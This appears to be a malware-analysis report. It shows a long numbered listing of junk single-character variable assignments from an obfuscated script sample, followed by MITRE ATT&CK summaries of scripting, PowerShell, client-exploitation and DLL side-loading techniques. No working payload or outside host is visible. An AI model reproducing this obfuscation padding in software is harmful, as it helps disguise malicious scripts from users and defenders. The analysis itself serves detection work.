471	arugron = "o";
472	arugron = "D";
473	arugron = "h";
474	arugron = "H";
475	arugron = "h";
476	arugron = "n";
477	arugron = "l";
478	arugron = "e";
479	arugron = "s";
480	arugron = "R";
481	arugron = "o";
482	arugron = "E";
483	arugron = "h";
484	arugron = "D";
485	arugron = "M";
486	arugron = "m";
487	arugron = "U";
488	arugron = "b";
489	ctczgpky = "n";
490	ctczgpky = "z";
491	ctczgpky = "i";
492	ctczgpky = "b";
493	ctczgpky = "v";
494	ctczgpky = "V";
495	ctczgpky = "E";
496	ctczgpky = "m";
497	ctczgpky = "d";
498	ctczgpky = "n";
499	ctczgpky = "w";
500	ctczgpky = "T";
501	ctczgpky = "a";
502	ctczgpky = "H";
503	ctczgpky = "h";
504	ctczgpky = "A";
505	ctczgpky = "J";
506	ctczgpky = "h";
507	ctczgpky = "K";
508	ctczgpky = "Q";
509	ctczgpky = "g";
510	ctczgpky = "m";
511	ctczgpky = "j";
512	ctczgpky = "Q";
513	ctczgpky = "v";
514	ctczgpky = "G";
515	ctczgpky = "E";
516	ctczgpky = "g";
517	ctczgpky = "b";
518	ctczgpky = "F";
519	ctczgpky = "X";
520	ctczgpky = "u";
521	ctczgpky = "k";
522	ctczgpky = "P";
523	ctczgpky = "U";
524	ctczgpky = "p";
525	ctczgpky = "y";
526	ctczgpky = "n";
527	ctczgpky = "n";
528	ctczgpky = "L";
529	ctczgpky = "v";
530	ctczgpky = "K";
531	ctczgpky = "C";
532	ctczgpky = "Q";
533	ctczgpky = "F";
534	paswdhpx = "S";
535	paswdhpx = "J";
536	paswdhpx = "o";
537	paswdhpx = "g";
538	paswdhpx = "u";
539	paswdhpx = "I";
540	paswdhpx = "a";
541	paswdhpx = "h";
542	paswdhpx = "c";
543	paswdhpx = "O";
544	paswdhpx = "Y";
545	paswdhpx = "l";
546	cajel = "a";
547	cajel = "D";
548	cajel = "F";
549	cajel = "l";
550	cajel = "B";
551	cajel = "e";
552	cajel = "j";
553	cajel = "P";
554	cajel = "k";
555	cajel = "l";
556	cajel = "T";
557	cajel = "q";
558	cajel = "W";
559	cajel = "H";
560	cajel = "k";
561	cajel = "e";
562	cajel = "f";
563	cajel = "U";
564	cajel = "f";
565	cajel = "k";
566	cajel = "K";
567	cajel = "k";
568	cajel = "k";
569	cajel = "c";
570	cajel = "b";
571	cajel = "H";
572	cajel = "d";
573	cajel = "Z";
574	cajel = "l";
575	cajel = "m";
576	cajel = "E";
577	cajel = "-";
578	yrhhwgci = "J";
579	yrhhwgci = "T";
580	yrhhwgci = "h";
581	vjdlnzydu = "y";
582	vjdlnzydu = "y";
583	vjdlnzydu = "l";
584	vjdlnzydu = "u";
585	vjdlnzydu = "Y";
586	vjdlnzydu = "f";
587	vjdlnzydu = "b";
588	vjdlnzydu = "L";
589	vjdlnzydu = "x";
590	vjdlnzydu = "z";
591	vjdlnzydu = "x";
592	vjdlnzydu = "b";
593	vjdlnzydu = "H";
594	vjdlnzydu = "R";
595	vjdlnzydu = "I";
596	vjdlnzydu = "k";
597	vjdlnzydu = "q";
598	vjdlnzydu = "\"";
599	pihmmm = "E";
600	pihmmm = "v";
601	pihmmm = "S";
602	pihmmm = "I";
603	pihmmm = "b";
604	pihmmm = "l";
605	pihmmm = "l";
606	pihmmm = "P";
607	pihmmm = "l";
608	pihmmm = "B";
609	pihmmm = "r";
610	pihmmm = "V";
611	pihmmm = "B";
612	pihmmm = "r";
613	pihmmm = "Q";
614	pihmmm = "Q";
615	pihmmm = "r";
616	pihmmm = "f";
617	pihmmm = "U";
618	pihmmm = "W";
619	pihmmm = "b";
620	pihmmm = "V";
621	pihmmm = "Z";
622	pihmmm = "W";
623	pihmmm = "m";
624	pihmmm = "y";
625	pihmmm = "E";
626	pihmmm = "Q";
627	pihmmm = "g";
628	pihmmm = "a";
629	pihmmm = "d";
630	pihmmm = "A";
631	pihmmm = "j";
632	pihmmm = "9";
633	jeuvicaz = "H";
634	jeuvicaz = "l";
635	jeuvicaz = "b";
636	jeuvicaz = "C";
637	jeuvicaz = "p";
638	jeuvicaz = "X";
639	jeuvicaz = "Q";
640	jeuvicaz = "s";
641	jeuvicaz = "o";
642	jeuvicaz = "G";
643	jeuvicaz = "E";
644	jeuvicaz = "A";
645	jeuvicaz = "F";
646	jeuvicaz = "N";
647	jeuvicaz = "v";
648	jeuvicaz = "E";
649	jeuvicaz = "t";
650	jeuvicaz = "Z";
651	jeuvicaz = "F";
652	jeuvicaz = "T";
653	jeuvicaz = "F";
654	jeuvicaz = "a";
655	jeuvicaz = "v";
656	jeuvicaz = "w";
657	jeuvicaz = "p";
658	jeuvicaz = "M";
659	jeuvicaz = "o";
660	jeuvicaz = "P";
661	jeuvicaz = "F";
662	jeuvicaz = "m";
663	jeuvicaz = "p";
664	jeuvicaz = "X";
665	jeuvicaz = "g";
666	jeuvicaz = "O";
667	jeuvicaz = "g";
668	jeuvicaz = "N";
669	jeuvicaz = "P";
670	jeuvicaz = "P";
671	jeuvicaz = "4";
672	lyzakylp = "M";
673	lyzakylp = "E";
674	lyzakylp = "d";
675	lyzakylp = "u";
676	lyzakylp = "a";
677	lyzakylp = "f";
678	lyzakylp = "R";
679	lyzakylp = "U";
680	lyzakylp = "G";
681	lyzakylp = "L";
682	lyzakylp = "z";
683	lyzakylp = "t";
684	lyzakylp = "G";
685	lyzakylp = "w";
686	lyzakylp = "j";
687	lyzakylp = "Y";
688	lyzakylp = "I";
689	lyzakylp = "w";
690	lyzakylp = "X";
691	lyzakylp = "i";
692	lyzakylp = "A";
693	lyzakylp = "i";
694	lyzakylp = "T";
695	lyzakylp = "b";
696	lyzakylp = "t";
697	lyzakylp = "b";
698	lyzakylp = "Y";
699	lyzakylp = "y";
700	lyzakylp = "o";
701	lyzakylp = "r";
702	lyzakylp = "Z";
703	lyzakylp = "C";
704	lyzakylp = "Y";
705	bxrblr = "m";
706	bxrblr = "f";
707	bxrblr = "V";
708	bxrblr = "M";
709	bxrblr = "M";
710	bxrblr = "J";
711	bxrblr = "e";
712	bxrblr = "N";
713	bxrblr = "q";
714	bxrblr = "B";
715	bxrblr = "G";
716	bxrblr = "F";
717	bxrblr = "n";
718	bxrblr = "W";
719	bxrblr = "o";
720	bxrblr = "I";
721	bxrblr = "h";
722	bxrblr = "T";
723	bxrblr = "A";
724	bxrblr = "\\";
725	wrvtbdayu = "b";
726	wrvtbdayu = "k";
727	wrvtbdayu = "Z";
728	wrvtbdayu = "E";
729	wrvtbdayu = "A";
730	wrvtbdayu = "M";
731	wrvtbdayu = "Y";
732	wrvtbdayu = "S";
733	wrvtbdayu = "t";
734	wrvtbdayu = "s";
735	wrvtbdayu = "L";
736	wrvtbdayu = "B";
737	wrvtbdayu = "f";
738	wrvtbdayu = "r";
739	wrvtbdayu = "8";
740	rdntwfaj = "x";
741	rdntwfaj = "L";
742	rdntwfaj = "a";
743	rdntwfaj = "Z";
744	rdntwfaj = "C";
745	rdntwfaj = "e";
746	rdntwfaj = "u";
747	rdntwfaj = "f";
748	rdntwfaj = "A";
749	rdntwfaj = "R";
750	rdntwfaj = "c";
751	rdntwfaj = "k";
752	rdntwfaj = "i";
753	rdntwfaj = "X";
754	rdntwfaj = "G";
755	rdntwfaj = "c";
756	rdntwfaj = "m";
757	rdntwfaj = "M";
758	rdntwfaj = "k";
759	rdntwfaj = "z";
760	rdntwfaj = "P";
761	rdntwfaj = "@";
762	ysovrn = "F";
763	ysovrn = "L";
764	ysovrn = "D";
765	ysovrn = "Z";
766	ysovrn = "j";
767	ysovrn = "L";
768	ysovrn = "A";
769	ysovrn = "m";
770	ysovrn = "d";
771	ysovrn = "x";
772	ysovrn = "/";
773	eanzu = "O";
774	eanzu = "r";
775	eanzu = "Z";
776	eanzu = "v";
777	eanzu = "x";
778	eanzu = "U";
779	eanzu = "c";
780	eanzu = "i";
781	eanzu = "o";
782	eanzu = "M";
783	eanzu = "B";
784	eanzu = "G";
785	eanzu = "a";
786	eanzu = "s";
787	eanzu = "y";
788	eanzu = "l";
789	eanzu = "j";
790	eanzu = "F";
791	eanzu = "j";
792	eanzu = "y";
793	eanzu = "H";
794	eanzu = "M";
795	eanzu = "F";
796	eanzu = "H";
797	eanzu = "e";
798	eanzu = "d";
799	eanzu = "A";
800	eanzu = "y";
801	eanzu = "H";
802	eanzu = "L";
803	eanzu = "e";
804	eanzu = "q";
805	eanzu = "b";
806	eanzu = "T";
807	eanzu = "T";
808	eanzu = "W";
809	eanzu = "x";
810	eanzu = "A";
811	eanzu = "a";
812	eanzu = "m";
813	eanzu = "J";
814	eanzu = "x";
815	srhknft = "O";
816	srhknft = "z";
817	srhknft = "f";
818	srhknft = "l";
819	srhknft = "N";
820	srhknft = "J";
821	srhknft = "J";
822	srhknft = "J";
823	srhknft = "B";
824	srhknft = "l";
825	srhknft = "v";
826	srhknft = "T";
827	srhknft = "B";
828	srhknft = "v";
829	srhknft = "l";
830	srhknft = "z";
831	srhknft = "I";
832	srhknft = "R";
833	srhknft = "E";
834	srhknft = "A";
835	srhknft = "k";
836	srhknft = "w";
837	srhknft = "D";
838	srhknft = "Z";
839	srhknft = "w";
840	srhknft = "W";
841	srhknft = "o";
842	srhknft = "Z";
843	srhknft = "M";
844	srhknft = "T";
845	srhknft = "a";
846	srhknft = "b";
847	srhknft = "I";
848	srhknft = "%";
849	xzikxuw = "T";
850	xzikxuw = "z";
851	xzikxuw = "L";
852	xzikxuw = "J";
853	xzikxuw = "n";
854	xzikxuw = "z";
855	xzikxuw = "p";
856	xzikxuw = "f";
857	xzikxuw = "i";
858	xzikxuw = "H";
859	xzikxuw = "Z";
860	xzikxuw = "R";
861	xzikxuw = "G";
862	xzikxuw = "T";
863	xzikxuw = "f";
864	xzikxuw = "Z";
865	xzikxuw = "o";
866	xzikxuw = "Y";
867	xzikxuw = "w";
868	xzikxuw = "B";
869	xzikxuw = "H";
870	xzikxuw = "d";
871	xzikxuw = "Z";
872	xzikxuw = "l";
873	xzikxuw = "Z";
874	xzikxuw = "v";
875	xzikxuw = "v";
876	xzikxuw = "f";
877	xzikxuw = "Y";
878	xzikxuw = "l";
879	xzikxuw = "Z";
880	xzikxuw = "t";
881	xzikxuw = "l";
882	xzikxuw = "b";
883	xzikxuw = "c";
884	xzikxuw = "z";
885	xzikxuw = "q";
886	xzikxuw = "5";
887	zaqxtyzlq = "b";
888	zaqxtyzlq = "P";
889	zaqxtyzlq = "p";
890	zaqxtyzlq = "N";
891	zaqxtyzlq = "t";
892	zaqxtyzlq = "u";
893	zaqxtyzlq = "W";
894	zaqxtyzlq = "x";
895	zaqxtyzlq = "r";
896	zaqxtyzlq = "I";
897	zaqxtyzlq = "G";
898	zaqxtyzlq = "l";
899	zaqxtyzlq = "q";
900	zaqxtyzlq = "d";
901	zaqxtyzlq = "a";
902	zaqxtyzlq = "T";
903	zaqxtyzlq = "o";
904	zaqxtyzlq = "t";
905	zaqxtyzlq = "d";
906	zaqxtyzlq = "x";
907	zaqxtyzlq = "k";
908	zaqxtyzlq = "x";
909	zaqxtyzlq = "W";
910	zaqxtyzlq = "N";
911	zaqxtyzlq = "S";
912	zaqxtyzlq = "C";
913	zaqxtyzlq = "q";
914	zaqxtyzlq = "r";
915	zaqxtyzlq = "a";
916	zaqxtyzlq = "P";
917	zaqxtyzlq = "w";
918	zaqxtyzlq = "c";
919	zaqxtyzlq = "t";
920	zaqxtyzlq = "k";
921	zaqxtyzlq = "m";
922	zaqxtyzlq = "n";
923	zaqxtyzlq = "J";
924	zaqxtyzlq = "S";
925	zaqxtyzlq = "M";
926	zaqxtyzlq = "w";
927	zqyso = "u";
928	zqyso = "E";
929	zqyso = "A";
930	zqyso = "l";
931	zqyso = "h";
932	zqyso = "e";
933	zqyso = "S";
934	zqyso = "z";
935	zqyso = "J";
936	zqyso = "h";
937	zqyso = "k";
938	zqyso = "K";
939	zqyso = "u";
940	ibqinn = "S";
941	ibqinn = "B";
942	ibqinn = "c";
943	ibqinn = "I";
944	ibqinn = "o";
945	ibqinn = "L";
946	ibqinn = "u";
947	ibqinn = "B";
948	ibqinn = "t";
949	ibqinn = "m";
950	ibqinn = "c";
951	ibqinn = "S";
952	ibqinn = "C";
953	ibqinn = "o";
954	ibqinn = "T";
955	ibqinn = "c";
956	ibqinn = "w";
957	ibqinn = "J";
958	ibqinn = "g";
959	ibqinn = "s";
960	ibqinn = "S";
961	ibqinn = "G";
962	ibqinn = "Q";
963	ibqinn = "x";
964	ibqinn = "m";
965	ibqinn = "E";
966	ibqinn = "D";
967	ibqinn = "p";
968	ibqinn = "i";
969	yytps = "B";
970	yytps = "A";
971	yytps = "K";
972	yytps = "q";
973	yytps = "j";
974	yytps = "v";
975	vpnmm = "I";
976	vpnmm = "X";
977	vpnmm = "C";
978	vpnmm = "q";
979	vpnmm = "Z";
980	vpnmm = "k";
981	vpnmm = "R";
982	vpnmm = "A";
983	vpnmm = "I";
984	vpnmm = "u";
985	vpnmm = "m";
986	vpnmm = "B";
987	vpnmm = "I";
988	vpnmm = "I";
989	vpnmm = " ";
990	wblohhgr = "k";
991	wblohhgr = "p";
992	wblohhgr = "V";
993	wblohhgr = "C";
994	wblohhgr = "L";
995	wblohhgr = "N";
996	wblohhgr = "_";
997	hpxin = "S";
998	hpxin = "g";
999	hpxin = "J";
1000	hpxin = "g";
1001	hpxin = "a";
1002	hpxin = "h";
1003	hpxin = "p";
1004	jqjwyzf = "v";
1005	jqjwyzf = "d";
1006	jqjwyzf = "Y";
1007	jqjwyzf = "M";
1008	jqjwyzf = "f";
1009	jqjwyzf = "P";
1010	jqjwyzf = "F";
1011	jqjwyzf = "G";
1012	jqjwyzf = "X";
1013	jqjwyzf = "C";
1014	jqjwyzf = "c";
1015	jqjwyzf = "I";
1016	jqjwyzf = "A";
1017	jqjwyzf = "&";
1018	inzgk = "k";
1019	inzgk = "h";
1020	inzgk = "d";
1021	inzgk = "i";
1022	inzgk = "U";
1023	inzgk = "E";
1024	inzgk = "A";
1025	inzgk = "k";
1026	inzgk = "b";
1027	inzgk = "B";
1028	inzgk = "K";
1029	inzgk = "E";
1030	inzgk = "q";
1031	inzgk = "u";
1032	inzgk = "m";
1033	inzgk = "r";
1034	inzgk = "y";
1035	inzgk = "A";
1036	inzgk = "T";
1037	inzgk = "R";
1038	inzgk = "T";
1039	inzgk = "C";
1040	inzgk = "V";
1041	inzgk = "N";
1042	inzgk = "l";
1043	inzgk = "O";
1044	inzgk = "O";
1045	inzgk = "a";
1046	inzgk = "B";
1047	inzgk = "p";
1048	inzgk = "b";
1049	inzgk = "B";
1050	inzgk = "e";
1051	inzgk = "P";
1052	inzgk = "c";
1053	inzgk = "p";
1054	inzgk = "C";
1055	inzgk = "O";
1056	inzgk = "t";
1057	uxijch = "M";
1058	uxijch = "o";
1059	uxijch = "X";
1060	uxijch = "K";
1061	uxijch = "B";
1062	uxijch = "z";
1063	uxijch = "L";
1064	uxijch = "h";
1065	uxijch = "T";
1066	rqbmxgd = "g";
1067	rqbmxgd = "j";
1068	rqbmxgd = "j";
1069	rqbmxgd = "r";
1070	rqbmxgd = "P";
1071	rqbmxgd = "z";
1072	rqbmxgd = "B";
1073	rqbmxgd = "F";
1074	rqbmxgd = "r";
1075	rqbmxgd = "y";
1076	rqbmxgd = "l";
1077	rqbmxgd = "b";
1078	rqbmxgd = "P";
1079	rqbmxgd = "P";
1080	rqbmxgd = "x";
1081	rqbmxgd = "l";
1082	rqbmxgd = "h";
1083	rqbmxgd = "f";
1084	rqbmxgd = "A";
1085	rqbmxgd = "l";
1086	rqbmxgd = "U";
1087	rqbmxgd = "e";
1088	rqbmxgd = "r";
1089	rqbmxgd = "g";
1090	rqbmxgd = "b";
1091	rqbmxgd = "I";
1092	rqbmxgd = "y";
1093	rqbmxgd = "E";
1094	rqbmxgd = "U";
1095	rqbmxgd = "g";
1096	rqbmxgd = "L";
1097	rqbmxgd = "C";
1098	rqbmxgd = "t";
1099	rqbmxgd = "P";
1100	rqbmxgd = "D";
1101	rqbmxgd = "x";
1102	rqbmxgd = "j";
1103	rqbmxgd = "V";
1104	rqbmxgd = "0";
1105	stucml = "S";
1106	stucml = "X";
1107	stucml = "m";
1108	stucml = "K";
1109	stucml = "L";
1110	stucml = "F";
1111	stucml = "K";
1112	stucml = "V";
1113	stucml = "T";
1114	stucml = "k";
1115	stucml = "p";
1116	stucml = "R";
1117	stucml = "C";
1118	stucml = "Q";
1119	xyrcr = "B";
1120	xyrcr = "D";
1121	xyrcr = "d";
1122	xyrcr = "w";
1123	xyrcr = "E";
1124	xyrcr = "I";
1125	xyrcr = "q";
1126	xyrcr = "t";
1127	xyrcr = "B";
1128	xyrcr = "k";
1129	xyrcr = "E";
1130	xyrcr = "F";
1131	xyrcr = "x";
1132	xyrcr = "q";
1133	xyrcr = "x";
1134	xyrcr = "U";
1135	xyrcr = "o";
1136	xyrcr = "B";
1137	xyrcr = "X";
1138	xyrcr = "2";
1139	ujhstk = "Y";
1140	ujhstk = "t";
1141	ujhstk = "p";
1142	ujhstk = "H";
1143	ujhstk = "x";
1144	ujhstk = "b";
1145	ujhstk = "a";
1146	ujhstk = "b";
1147	ujhstk = "y";
1148	ujhstk = "f";
1149	ujhstk = "f";
1150	ujhstk = "B";
1151	ujhstk = "N";
1152	ujhstk = "p";
1153	ujhstk = "I";
1154	ujhstk = "U";
1155	ujhstk = "h";
1156	ujhstk = "x";
1157	ujhstk = "z";
1158	ujhstk = "L";
1159	ujhstk = "l";
1160	ujhstk = "Y";
1161	ujhstk = "Z";
1162	ujhstk = "B";
1163	ujhstk = "l";
1164	ujhstk = "H";
1165	ujhstk = "k";
1166	kvgdwsgg = "V";
1167	kvgdwsgg = "b";
1168	kvgdwsgg = "e";
1169	kvgdwsgg = "L";
1170	kvgdwsgg = "V";
1171	kvgdwsgg = "S";
1172	kvgdwsgg = "b";
1173	kvgdwsgg = "f";
1174	kvgdwsgg = "s";
1175	kvgdwsgg = "i";
1176	kvgdwsgg = "d";
1177	kvgdwsgg = "T";
1178	kvgdwsgg = "S";
1179	kvgdwsgg = "Y";
1180	kvgdwsgg = "r";
1181	kvgdwsgg = "r";
1182	kvgdwsgg = "V";
1183	kvgdwsgg = "M";
1184	kvgdwsgg = "o";
1185	kvgdwsgg = "E";
1186	kvgdwsgg = "O";
1187	kvgdwsgg = "o";
1188	kvgdwsgg = "Q";
1189	kvgdwsgg = "x";
1190	kvgdwsgg = "A";
1191	kvgdwsgg = "Z";
1192	kvgdwsgg = "H";
1193	kvgdwsgg = "X";
1194	kvgdwsgg = "i";
1195	kvgdwsgg = "W";
1196	kvgdwsgg = "b";
1197	kvgdwsgg = "x";
1198	kvgdwsgg = "Q";
1199	kvgdwsgg = "p";
1200	kvgdwsgg = "C";
1201	kvgdwsgg = "M";
1202	kvgdwsgg = "O";
1203	kvgdwsgg = "Y";
1204	kvgdwsgg = "P";
1205	kvgdwsgg = "b";
1206	kvgdwsgg = "a";
1207	drxlp = "f";
1208	drxlp = "X";
1209	drxlp = "E";
1210	drxlp = "K";
1211	ywesnju = "h";
1212	ywesnju = "H";
1213	ywesnju = "V";
1214	ywesnju = "d";
1215	tgynlij = "P";
1216	tgynlij = "z";
1217	tgynlij = "w";
1218	tgynlij = "b";
1219	tgynlij = "S";
1220	tgynlij = "t";
1221	tgynlij = "p";
1222	tgynlij = "z";
1223	tgynlij = "u";
1224	tgynlij = "k";
1225	tgynlij = "X";
1226	tgynlij = "W";
1227	tgynlij = "W";
1228	tgynlij = "L";
1229	tgynlij = "F";
1230	tgynlij = "K";
1231	tgynlij = "P";
1232	tgynlij = "W";
1233	tgynlij = "S";
1234	tgynlij = "t";
1235	tgynlij = "j";
1236	tgynlij = "i";
1237	tgynlij = "N";
1238	tgynlij = "c";
1239	tgynlij = "f";
1240	tgynlij = "B";
1241	tgynlij = "D";
1242	tgynlij = "e";
1243	tgynlij = "k";
1244	tgynlij = "z";
1245	tgynlij = "v";
1246	tgynlij = "r";
1247	tgynlij = "C";
1248	tgynlij = "Z";
1249	tgynlij = "a";
1250	tgynlij = "X";
1251	tgynlij = "s";
1252	tgynlij = "v";
1253	tgynlij = "P";
1254	tgynlij = "H";
1255	tgynlij = "i";
1256	tgynlij = "a";
1257	tgynlij = "N";
1258	tgynlij = "z";
1259	tgynlij = "n";
1260	gdliwbhmm = "q";
1261	gdliwbhmm = "N";
1262	gdliwbhmm = "x";
1263	gdliwbhmm = "V";
1264	gdliwbhmm = "v";
1265	gdliwbhmm = "j";
1266	gdliwbhmm = "f";
1267	uirblq = "B";
1268	uirblq = "U";
1269	uirblq = "r";
1270	uirblq = "e";
1271	uirblq = "g";
1272	uirblq = "v";
1273	uirblq = "s";
1274	uirblq = "n";
1275	uirblq = "F";
1276	uirblq = "T";
1277	uirblq = "N";
1278	uirblq = "s";
1279	uirblq = "S";
1280	uirblq = "G";
1281	uirblq = "p";
1282	uirblq = "E";
1283	uirblq = "Z";
1284	uirblq = "y";
1285	uirblq = "i";
1286	uirblq = "l";
1287	uirblq = "j";
1288	uirblq = "N";
1289	uirblq = "p";
1290	uirblq = "c";
1291	uirblq = "t";
1292	uirblq = "T";
1293	uirblq = "t";
1294	uirblq = "g";
1295	uirblq = "b";
1296	uirblq = "o";
1297	uirblq = "s";
1298	uirblq = "C";
1299	uirblq = "i";
1300	uirblq = "L";
1301	uirblq = "e";
1302	uirblq = "H";
1303	uirblq = "q";
1304	uirblq = "M";
1305	uirblq = "d";
1306	uirblq = "s";
1307	uirblq = "E";
1308	ttauvi = "E";
1309	ttauvi = "d";
1310	ttauvi = "s";
1311	ttauvi = "U";
1312	ttauvi = "p";
1313	ttauvi = "t";
1314	ttauvi = "q";
1315	ttauvi = "I";
1316	ttauvi = "N";
1317	ttauvi = "Z";
1318	ttauvi = "D";
1319	ttauvi = "Y";
1320	ttauvi = "i";
1321	ttauvi = "y";
1322	ttauvi = "Q";
1323	ttauvi = "P";
1324	ttauvi = "S";
1325	ttauvi = "I";
1326	ttauvi = "m";
1327	ttauvi = "x";
1328	ttauvi = "i";
1329	ttauvi = "A";
1330	ttauvi = "U";
1331	ttauvi = "x";
1332	ttauvi = "I";
1333	ttauvi = "s";
1334	ttauvi = "B";
1335	ttauvi = "Y";
1336	ttauvi = "c";
1337	wezecgxct = "q";
1338	wezecgxct = "M";
1339	wezecgxct = "v";
1340	wezecgxct = "i";
1341	wezecgxct = "C";
1342	wezecgxct = "Q";
1343	wezecgxct = "h";
1344	wezecgxct = "D";
1345	wezecgxct = "d";
1346	wezecgxct = "O";
1347	wezecgxct = "E";
1348	wezecgxct = "b";
1349	wezecgxct = "o";
1350	wezecgxct = "L";
1351	wezecgxct = "c";
1352	wezecgxct = "y";
1353	wezecgxct = "x";
1354	wezecgxct = "b";
1355	wezecgxct = "R";
1356	wezecgxct = "T";
1357	wezecgxct = "h";
1358	wezecgxct = "k";
1359	wezecgxct = "y";
1360	wezecgxct = "I";
1361	wezecgxct = "M";
1362	wezecgxct = "N";
1363	wezecgxct = "d";
1364	wezecgxct = ":";
1365	zmuutg = "R";
1366	zmuutg = "G";
1367	zmuutg = "I";
1368	zmuutg = "Y";
1369	zmuutg = "r";
1370	zmuutg = "s";
1371	zmuutg = "k";
1372	zmuutg = "l";
1373	zmuutg = "F";
1374	zmuutg = "C";
1375	zmuutg = "b";
1376	zmuutg = "b";
1377	zmuutg = "v";
1378	zmuutg = "T";
1379	zmuutg = "h";
1380	zmuutg = "j";
1381	zmuutg = "H";
1382	zmuutg = "a";
1383	zmuutg = "d";
1384	zmuutg = "w";
1385	zmuutg = "x";
1386	zmuutg = "k";
1387	zmuutg = "s";
1388	zmuutg = "C";
1389	zmuutg = "k";
1390	zmuutg = "W";
1391	zmuutg = "C";
1392	zmuutg = "g";
1393	zmuutg = "q";
1394	zmuutg = "a";
1395	zmuutg = "l";
1396	zmuutg = "Z";
1397	zmuutg = "E";
1398	zmuutg = "k";
1399	zmuutg = "W";
1400	zmuutg = "Q";
1401	zmuutg = "g";
1402	zmuutg = "Q";
1403	zmuutg = "P";
1404	pddxzea = "y";
1405	pddxzea = "Y";
1406	pddxzea = "s";
1407	pddxzea = "s";
1408	pddxzea = "I";
1409	pddxzea = "C";
1410	pddxzea = "u";
1411	pddxzea = "f";
1412	pddxzea = "n";
1413	pddxzea = "C";
1414	pddxzea = "g";
1415	pddxzea = "I";
1416	pddxzea = "s";
1417	pddxzea = "c";
1418	pddxzea = "w";
1419	pddxzea = "N";
1420	pddxzea = "G";
1421	pddxzea = "g";
1422	pddxzea = "x";
1423	pddxzea = "D";
1424	pddxzea = "J";
1425	pddxzea = "I";
1426	pddxzea = "y";
1427	pddxzea = "n";
1428	pddxzea = "P";
1429	pddxzea = "C";
1430	pddxzea = "A";
1431	pddxzea = "Q";
1432	pddxzea = "V";
1433	pddxzea = "C";
1434	pddxzea = "E";
1435	pddxzea = "b";
1436	pddxzea = "g";
1437	pddxzea = "X";
1438	pddxzea = "O";
1439	pddxzea = "n";
1440	pddxzea = "b";
1441	pddxzea = "k";
1442	pddxzea = "T";
1443	pddxzea = "e";
1444	pddxzea = "f";
1445	pddxzea = "k";
1446	pddxzea = "Q";
1447	pddxzea = "x";
1448	pddxzea = "j";
1449	wczjzwo = "q";
1450	wczjzwo = "s";
1451	wczjzwo = "q";
1452	wczjzwo = "z";
1453	wczjzwo = "l";
1454	wczjzwo = "E";
1455	wczjzwo = "n";
1456	wczjzwo = "k";
1457	wczjzwo = "t";
1458	wczjzwo = "t";
1459	wczjzwo = "f";
1460	wczjzwo = "w";
1461	wczjzwo = "a";
1462	wczjzwo = "n";
1463	wczjzwo = "D";
1464	wczjzwo = "G";
1465	wczjzwo = "T";
1466	wczjzwo = "k";
1467	wczjzwo = "E";
1468	wczjzwo = "L";
1469	wczjzwo = "R";
1470	wczjzwo = "G";
1471	wczjzwo = "Q";
1472	wczjzwo = "D";
1473	wczjzwo = "D";
1474	wczjzwo = "b";
1475	wczjzwo = "D";
1476	wczjzwo = "j";
1477	wczjzwo = "b";
1478	wczjzwo = "i";
1479	wczjzwo = "K";
1480	wczjzwo = "H";
1481	wczjzwo = "S";
1482	auyovph = "H";
1483	auyovph = "h";
1484	auyovph = "g";
1485	auyovph = "v";
1486	auyovph = "P";
1487	auyovph = "g";
1488	auyovph = "M";
1489	auyovph = "u";
1490	auyovph = "r";
1491	auyovph = "K";
1492	auyovph = "v";
1493	auyovph = "x";
1494	auyovph = "z";
1495	auyovph = "Y";
1496	auyovph = "Z";
1497	auyovph = "Y";
1498	auyovph = "c";
1499	auyovph = "Z";
1500	auyovph = "G";
1501	auyovph = "b";
1502	auyovph = "B";
1503	auyovph = "V";
1504	auyovph = "z";
1505	auyovph = "u";
1506	auyovph = "u";
1507	auyovph = "I";
1508	auyovph = "U";
1509	auyovph = "s";
1510	auyovph = "I";
1511	lamhef = "h";
1512	lamhef = "U";
1513	lamhef = "Z";
1514	lamhef = "E";
1515	lamhef = "f";
1516	lamhef = "K";
1517	lamhef = "M";
1518	lamhef = "j";
1519	lamhef = "F";
1520	lamhef = "O";
1521	lamhef = "q";
1522	lamhef = "h";
1523	lamhef = "x";
1524	lamhef = "Z";
1525	lamhef = "W";
1526	lamhef = "f";
1527	lamhef = "w";
1528	lamhef = "o";
1529	lamhef = "q";
1530	lamhef = "p";
1531	lamhef = "u";
1532	lamhef = "j";
1533	lamhef = "X";
1534	lamhef = "Z";
1535	lamhef = "O";
1536	lamhef = "x";
1537	lamhef = "g";
1538	mnpty ( );	mnpty() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
